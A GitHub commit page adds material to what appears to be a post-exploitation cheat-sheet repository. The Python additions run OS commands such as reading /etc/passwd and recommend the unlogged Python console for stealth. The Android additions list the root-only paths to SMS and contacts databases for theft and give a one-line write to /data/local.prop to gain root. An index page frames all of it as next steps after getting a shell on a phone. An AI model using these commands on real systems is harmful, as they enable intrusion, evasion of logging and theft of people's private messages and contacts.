Skip to content

Commit 7b4206d

Browse files
committed
Merge pull request #61 from Su1ph3r/master
Android/Python
2 parents 4c3c050 + 4d2748a commit 7b4206d

File tree

3 files changed

+52
-2
lines changed

3 files changed

+52
-2
lines changed

scripting/python.md

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -18,3 +18,15 @@ python -c 'import pty; pty.spawn("/bin/bash")'```
1818
***Print all ASCII characters***
1919
```python
2020
python -c 'import string; print string.printable'```
21+
22+
**Run OS commands through Python Interpreter**
23+
```python
24+
python -c 'import os; os.system("command here")'```
25+
26+
example:
27+
28+
```
29+
python -c 'import os; os.system("cat /etc/passwd")'```
30+
31+
Remember that the python console does not log code by default, so you can run all post-exploit shenanigans through the python console for added stealth.
32+
Also gets by certain environmental restrictions.

tech/mobile/android.md

Lines changed: 34 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,35 @@
1-
# Place Holder
1+
# Android
2+
3+
##Files to grab
4+
5+
###Text Messages (Needs Root):
6+
7+
```
8+
/data/data/com.android.providers/telephony/databases/mmssms.db
9+
/data/data/com.android.providers.telephony/databases/mmssms.db
10+
```
11+
12+
###Contacts (Needs Root):
13+
14+
```
15+
/data/data/android.providers.contacts/databases
16+
```
17+
18+
###Local System Settings:
19+
20+
```
21+
/data/local.prop
22+
```
23+
24+
If you can write to this file the following line will grant root:
25+
26+
```
27+
echo "ro.kernel.qemu=1" > /data/local.prop
28+
```
29+
30+
###Device Settings:
31+
32+
```
33+
/system/build.prop
34+
```
235

3-
Content coming. Feel free to submit ;-)

tech/mobile/index.md

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
# Mobile
2+
3+
Got a shell on a mobile device? Here's some things to do next.
4+
5+
* [Android](android.md) - Android Post Exploitation
6+
* [iOS](ios.md) - iOS Post Exploitation

0 commit comments

Comments
 (0)